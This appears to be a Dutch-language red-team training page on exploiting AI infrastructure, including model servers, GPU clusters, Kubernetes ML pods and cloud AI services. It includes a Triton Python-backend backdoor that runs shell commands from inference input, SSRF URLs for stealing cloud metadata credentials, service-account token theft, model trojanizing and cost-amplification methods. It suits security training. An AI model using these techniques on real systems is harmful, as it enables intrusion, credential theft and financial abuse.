AI Infrastructure Exploitation
Methodologie voor het exploiteren van GPU-clusters, model-serving-frameworks (Triton, vLLM, Ollama), Kubernetes ML-platforms, cloud-AI-services en cost-amplification-aanvallen.
AI Infrastructure Exploitation
AI-infrastructuur combineert traditionele aanvalsoppervlakken met AI-specifieke zorgen: model-serving-frameworks met ongeauthenticeerde API's, GPU-drivers met toegang op kernelniveau, multi-tenant-inferentieplatforms met gedeeld geheugen, en cloud-AI-services met factureringsmodellen die rijp zijn voor cost amplification.
Aanvalsoppervlakken van infrastructuur
AI-infrastructuur omvat verschillende afzonderlijke doelcategorieën, elk met unieke exploitatiekenmerken.
Model-serving-frameworks (Triton, vLLM, Ollama) worden vaak ingezet zonder authenticatie, waardoor modelenumeratie, configuratiedetails en inferentie-endpoints worden blootgesteld. Het risico met de hoogste severity is code-uitvoering via custom backends -- Triton's Python-backend voert willekeurige code uit tijdens het laden en de inferentie van het model. Ongeauthenticeerde management-API's maken het laden van door de aanvaller gecontroleerde modellen mogelijk, waardoor elke blootgestelde modelserver een potentieel bruggenhoofd naar de inferentie-infrastructuur wordt.
GPU-clusters introduceren aanvalsoppervlakken op hardwareniveau die afwezig zijn in traditionele infrastructuur. Niet-geïnitialiseerd GPU-geheugen kan data van eerdere tenants bevatten (modelgewichten, trainingsdata, API-sleutels). NVLink- en NVSwitch-fabrics maken peer-to-peer-geheugentoegang over GPU's mogelijk als isolatie niet wordt afgedwongen. CUDA IPC-handles maken cross-process GPU-geheugentoegang mogelijk. NVIDIA DCGM-management-API's op poort 5555 bieden clusterbrede GPU-controle wanneer ze zonder authenticatie zijn blootgesteld.
ML-pijplijnen op Kubernetes over-provisioneren vaak permissies en kennen cluster-admin toe aan de serviceaccounts van trainingsjobs. Gedeelde opslag-mounts (/models, /data, /checkpoints) maken laterale beweging mogelijk van een gecompromitteerde trainingsjob naar vervanging van het productiemodel of datavergiftiging. CI/CD-systemen die training en deployment automatiseren zijn doelen van hoge waarde -- het compromitteren van de pijplijn produceert persistente, geautomatiseerde backdoor-injectie over alle toekomstige modelversies.
GPU-clusteraanvallen
Enumeratie van het aanvalsoppervlak
Enumereer vanuit een gecompromitteerde container de GPU-infrastructuur:
| Component | Wat te controleren | Hoe |
|---|---|---|
| GPU-hardware & driver | Model, driverversie, compute mode, MIG-status | nvidia-smi --query-gpu=name,driver_version,memory.total,compute_mode,mig.mode.current --format=csv |
| CUDA-versie | Bekende kwetsbaarheden in specifieke versies | nvcc --version |
| DCGM-blootstelling | DCGM-management-API op poort 5555 | TCP-connect naar localhost:5555 |
| NCCL-config | Multi-GPU-communicatie-instellingen | Controleer NCCL_*-omgevingsvariabelen |
| NVLink/NVSwitch | Peer-to-peer GPU-geheugentoegang, isolatiegaten | Controleer op ingeschakelde CUDA IPC-handles |
GPU-geheugen-side-channels
Geheugenresten: Alloceer niet-geïnitialiseerd GPU-geheugen via torch.empty(1024, 1024, device='cuda') en scan op niet-nulwaarden. Op gedeelde infrastructuur zijn de modelgewichten, trainingsdata en API-sleutels van eerdere tenants mogelijk te herstellen.
Timing-aanvallen: Meet de allocatielatentie over vele iteraties. Een bimodale verdeling in allocatietijden wijst op interferentie van mede-tenants en onthult workload-patronen en geheugendruk.
NVLink/NVSwitch-risico's
| Risico | Beschrijving |
|---|---|
| Peer-to-peer-geheugentoegang | Via NVLink verbonden GPU's kunnen elkaars geheugen benaderen als peer access is ingeschakeld |
| NVSwitch-fabric | Any-to-any GPU-geheugentoegang over de fabric |
| CUDA IPC-handles | Gedeeld GPU-geheugen tussen processen via file descriptors; als een aanvaller de handle bemachtigt, leest/schrijft hij het GPU-geheugen van een ander proces |
Kwetsbaarheden in model serving
Reconnaissance-methodologie
Identificeer het serving-framework
Test gangbare endpoints om te bepalen welk framework draait.
Framework Health-endpoint Standaardpoort Triton /v2/health/ready8000 (HTTP), 8001 (gRPC) vLLM /health8000 Ollama /api/tags11434 Controleer op authenticatie
De meeste model-serving-frameworks worden standaard zonder authenticatie ingezet. Test ongeauthenticeerde toegang tot de endpoints voor modellijsten en inferentie.
Enumereer modellen en configuraties
Onttrek modelnamen, architecturen, input-/outputspecificaties en backend-types. Let op Python-backends (code-uitvoering) en ensemble-pijplijnen.
Test op exploiteerbare functies
Controleer model-control-API's (load/unload), metrics-endpoints (informatieblootstelling) en uitvoering van custom backends.
Framework-specifieke aanvallen
Triton is het meest functierijke doelwit:
| Endpoint | Risico |
|---|---|
GET /v2/models | Modelenumeratie zonder auth |
GET /v2/models/\{name\}/config | Architectuurdetails, backend-type, bestandspaden |
POST /v2/repository/index | Volledige lijst van de modelrepository |
| Model-control-API | Willekeurige modellen laden/ontladen |
Kritiek risico: Triton's Python-backend voert willekeurige code uit. Als je een model in de repository kunt plaatsen, draait model.py tijdens de inferentie:
# model.py in Triton's model repository
class TritonPythonModel:
def initialize(self, args):
os.system('id > /tmp/pwned') # Runs on model load
def execute(self, requests):
# Use inference input as command channel
cmd = pb_utils.get_input_tensor_by_name(
requests[0], 'INPUT').as_numpy()[0].decode()
output = subprocess.getoutput(cmd)vLLM stelt een OpenAI-compatibele API bloot, doorgaans zonder authenticatie:
| Controle | Endpoint | Risico |
|---|---|---|
| Modellijst | GET /v1/models | Informatieblootstelling |
| Health/metrics | GET /metrics | GPU-aantal, geheugen, verzoekpatronen, architectuur |
| Inferentie | POST /v1/chat/completions | Compute-misbruik, extractie van systeemprompt |
Test op overschrijven van de systeemprompt door een system-bericht te sturen dat de bedoelde prompt van de deployment tegenspreekt.
Ollama bindt standaard aan localhost, maar wordt vaak blootgesteld op 0.0.0.0 zonder authenticatie:
| Actie | Endpoint | Impact |
|---|---|---|
| Modellen weergeven | GET /api/tags | Enumeratie |
| Modellen pullen | POST /api/pull | Bandbreedte-/opslagmisbruik |
| Modellen aanmaken | POST /api/create | Uitvoering van custom Modelfile |
| Modellen verwijderen | DELETE /api/delete | Denial of service |
| Inferentie uitvoeren | POST /api/generate | Compute-misbruik |
Aanvallen op Kubernetes ML-platforms
Privilege-escalatie vanuit ML-pods
ML-pods hebben vaak excessieve permissies. Enumereer na het compromitteren van een trainingsjob de Kubernetes-toegang:
Lees de serviceaccount-token
Controleer
/var/run/secrets/kubernetes.io/serviceaccount/token. Serviceaccounts van ML-platforms zijn vaak gebonden aancluster-admin.Enumereer toegankelijke resources
Test toegang tot clusterbrede secrets, pods, nodes, namespaces en deployments met de serviceaccount-token tegen de Kubernetes-API.
Toegang tot gedeelde opslag
Controleer gangbare ML-mountpunten op laterale toegang.
Aanvalspaden via gedeelde opslag
| Mountpunt | Typische inhoud | Exploitatie |
|---|---|---|
/models | Gedeelde model registry | Vervang productiemodellen door getrojaniseerde versies |
/data | Trainingsdatasets | Vergiftig trainingsdata |
/checkpoints | Trainingscheckpoints | Injecteer backdoored checkpoints |
/artifacts | MLflow/W&B-artefacten | Herleid modeldeployments |
/home/jovyan | JupyterHub-home directories | Toegang tot de notebooks en credentials van andere gebruikers |
Exploitatie van cloud-AI-services
Cloud-specifieke aanvalsoppervlakken
| Cloud-service | Toegangspunten | Escalatiepaden |
|---|---|---|
| AWS SageMaker | Notebook-instances (Jupyter + IAM-rol), trainingsjobs (S3/ECR-toegang), endpoints (SSRF) | Enumereer endpoints, modellen, trainingsjobs; pivot via IAM-rol |
| GCP Vertex AI | Notebook-instances, custom trainingscontainers, modelendpoints | Service-account-impersonatie, GCS-buckettoegang |
| Azure ML | Compute-instances, managed endpoints, datastores | Misbruik van managed identity, blob storage-toegang |
Enumereer vanuit een gecompromitteerde SageMaker-notebook alle endpoints (ingezette modellen), modellen (met S3-artefactpaden) en trainingsjobs (met IAM-rollen en hyperparameters) via de boto3 SageMaker-client.
Cost-amplification-aanvallen
| Aanvalsvector | Mechanisme | Geschatte kosten per uur |
|---|---|---|
| Misbruik van GPU-inferentie | Max-length-verzoeken bij maximale throughput naar GPU-endpoints | ~$360 (10 req/s x $0.01) |
| Spawnen van trainingsjobs | Lanceer multi-GPU-trainingsjobs via gecompromitteerde credentials | ~$500 per job (10 parallel) |
| Misbruik van modeldownloads | Herhaalde downloads van grote modellen om egress-kosten te triggeren | ~$540 (100GB x 60 downloads x $0.09/GB) |
| Misbruik van embedding-API | Max-size-batches continu naar embedding-endpoints | Varieert per aanbieder |
SSRF bij inferentieservices
Model-serving-endpoints die URL's als input accepteren (beeldclassificatie, webscraping, documentverwerking) zijn SSRF-vectoren.
Prioritaire SSRF-doelen
| Doel | URL | Wat je krijgt |
|---|---|---|
| AWS IMDS | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | IAM-credentials |
| GCP-metadata | http://metadata.google.internal/computeMetadata/v1/ | Service-account-tokens |
| Azure IMDS | http://169.254.169.254/metadata/identity/oauth2/token | Managed-identity-tokens |
| Kubernetes-API | http://kubernetes.default.svc/api/v1/namespaces | Clusterenumeratie |
| Interne Triton | http://triton-server.internal:8000/v2/models | Modelenumeratie |
| Interne Ollama | http://localhost:11434/api/tags | Lokale modellijst |
Je ontdekt een NVIDIA Triton-server die zonder authenticatie is blootgesteld. Welke bevinding vertegenwoordigt het risico met de hoogste severity?
Gerelateerde onderwerpen
- AI Supply Chain Exploitation -- Supplychain-aanvallen die infrastructuur van binnenuit compromitteren
- AI Application Security -- Kwetsbaarheden op applicatieniveau bij infrastructuur-endpoints
- MCP Tool Exploitation -- MCP-servers die draaien op exploiteerbare infrastructuur
- Advanced Reconnaissance -- Fingerprinting van model-serving-frameworks als recon-doelen
Referenties
- OWASP Machine Learning Security Top 10 — ML infrastructure risks
- NVIDIA Triton Inference Server — Model serving infrastructure
- Kubernetes Security Best Practices (CISA, 2022) — K8s security for ML clusters